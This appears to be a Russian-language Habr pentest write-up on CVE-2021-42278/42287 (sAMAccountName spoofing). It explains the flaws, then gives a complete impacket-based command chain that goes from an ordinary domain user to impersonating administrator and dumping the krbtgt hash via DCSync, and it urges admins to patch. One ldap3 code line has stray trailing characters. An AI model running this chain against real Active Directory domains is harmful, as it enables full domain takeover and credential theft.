Сап, Хабр!
Значится, сидим мы с коллегой (привет, @Acrono!) на площадке у Заказчика, воткнутые в скоммутированную сетевую розетку, да пентестим свои внутряки. Повсюду эти ваши 802.1x, AppLocker-ы, PowerShell CLM-ы, LAPS-ы, аверы лютуют, блоча попытки получить заветный хендл к lsass.exe, вся инфра на 2019-х серваках, небо над головой цвета экрана телевизора, настроенного на мертвый канал. В общем, страшный сон (этичного) хакера. И это уже продолжается третий день. Благо сегодня все будет по-другому, благо сегодня я прочитал про спуфинг sAMAccountName по дороге в офис...
Intro
На днях исследователь Чарли Кларк (@exploitph, известен своим форком PowerView) опубликовал свежий способ эскалации привилегий в домене Active Directory, основанный на эксплуатации уязвимостей CVE-2021-42287 и CVE-2021-42278. Пачка CVE, связанных с этими уязвимостями, крутится в твиттерах уже около месяца и была оперативно исправлена «мелкомягкими» в рамках ноябрьского Patch Tuesday. Но, как известно, кто не успел, тот опоздал, поэтому домен админа мы с Acrono все же успели получить. Далее расскажу (и покажу), как это делается, но для начала немного теории.
Предыстория
CVE-2021-42278
Как оказалось, механизмы Active Directory не проверяют наличие символа $
в конце имени компьютерного аккаунта, хотя все машинные имена оканчиваются именно им. Этот небольшой «не баг, а фича» приводит к вполне себе большим последствиям в связке с уязвимостью CVE-2021-42287.
CVE-2021-42287
Когда пользователь (или компьютер) запрашивает тикет TGS, контроллер сперва смотрит в предоставленный им TGT. В случае, если KDC не обнаруживает среди объектов домена объекта с именем, указанным в TGT, контроллер тупо добавляет символ $
к этому имени и шифрует отправляемый TGS с использованием ключа объекта «имя$».
И чо дальше?
А что если мы переименуем какой-нибудь компьютер в контроллер домена, запросим для него TGT, переименуем компьютер обратно (неважно в какое имя) и с использованием этого TGT запросим TGS на какую-либо службу (например, LDAP) этого, ныне уже не существующий, компьютера? Неужели мы получим билет, подписанный контроллером домена, на самого себя? Да не, бред, быть такого не может... Ведь так?
Практика
Нет, не так. Все сработает точно, как мы предположили. Продемонстрируем это. Так как эксплуатация уязвимости с Windows-системы, используя Powermad, PowerView и Rubeus, уже подробно описана автором первоначального исследования, я сделаю это удаленно с Linux-машины. В этом нам поможет Python и могущественная библиотека impacket.
0. ms-DS-MachineAccountQuota
Первым делом нам нужно создать машинную учетку. Это может прокрутить любой доменный пользователь при условии, что значение свойства ms-DS-MachineAccountQuota в домене AD больше нуля. Проверяем это с помощью go-windapsearch:
Cmd
windapsearch --dc 172.22.0.2 -d tinycorp.net -u j.doe -p 'P@$$w0rd' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=tinycorp,DC=net))' --attrs ms-ds-machineAccountQuota
1. addcomputer.py
Далее добавим машинную УЗ с помощью addcomputer.py:
Cmd
addcomputer.py -computer-name FromRussiaWithLove -computer-pass 'Passw0rd!' -dc-ip 172.22.0.2 -dc-host DC01.tinycorp.net tinycorp.net/j.doe:'P@$$w0rd'
2. renameMachine.py (1)
Успешно. Следующие два шага – убить SPN-ы, чтобы не было конфликтов при переименовании учетки, и, собственно, сам ренейм. Здесь придется немного замарать руки и скопипастить написать пару строк кода. К счастью, ldap3 позволяет легко изменять свойства объектов LDAP. В нашем случае это можно сделать в две строки:
ldap_session.modify(<MACHINE_DN_OBJ>, {'servicePrincipalName': [ldap3.MODIFY_REPLACE, []]})
ldap_session.modify(<MACHINE_DN_OBJ>, {'sAMAccountName': [ldap3.MODIFY_REPLACE, ['<NEW_NAME>']]})']])
Написанный на коленке скрипт можно подсмотреть туть.
Cmd
./renameMachine.py tinycorp.net/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name 'FromRussiaWithLove$' -new-name DC01
3. getTGT.py
Что у нас дальше по плану? Верно – получаем TGT с помощью getTGT.py:
Cmd
getTGT.py tinycorp.net/DC01:'Passw0rd!' -dc-ip 172.22.0.2
4. renameMachine.py (2)
Переменовываем машинную учетку обратно:
Cmd
./renameMachine.py tinycorp.net/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name DC01 -new-name 'FromRussiaWithLove$'
5. getST.py
Теперь самая интересная часть – получить тикет на службу нашего несуществующего компьютера, который магическим образом превратится в тикет на DC. Это можно сделать с помощью разновидности RBCD (англ. Resource-based Contrained Delegation) атаки. Активируя транзитное расширение S4U2self протокола Kerberos, мы можем заиметь такой TGS. До мастера impacket-а флаг -self
еще не добрался, однако он уже добавлен в этом PR (подробности атаки можно глянуть в другом посте от @exploitph):
Cmd
KRB5CCNAME=DC01.ccache python3 impacket/examples/getST.py -spn LDAP/DC01.tinycorp.net tinycorp.net/DC01 -k -no-pass -dc-ip 172.22.0.2 -impersonate administrator -self
6. secretsdump.py
Вот и все, теперь у нас есть нужный тикет для DCSync-а и мы можем скомпрометировать критически важные учетные записи домена!
Cmd
KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass DC01.tinycorp.net -dc-ip 172.22.0.2 -just-dc-user 'TINYCORP\krbtgt'
Outro
Хочется привлечь внимание общественности к этой цепочке атак и призвать всех неравнодушных админов к наискорейшим патчам своих систем (даже несмотря на то, что нам, как пентестерам, это только добавит работы).
Информацию для BlueTeam-еров касательно детекта вредоносной активности в рамках описанного кейса можно найти в конце оригинального ресерча.
Спасибо за внимание и Happy Hacking!
Ссылки и ресурсы
eXploit – CVE-2021-42287/CVE-2021-42278 Weaponisation
KB5008102—Active Directory Security Accounts Manager hardening changes (CVE-2021-42278)
KB5008380—Authentication updates (CVE-2021-42287)
eXploit – Revisiting 'Delegate 2 Thyself'
Added -self to getST for S4U2self abuse by ShutdownRepo · Pull Request #1202 · SecureAuthCorp/impacket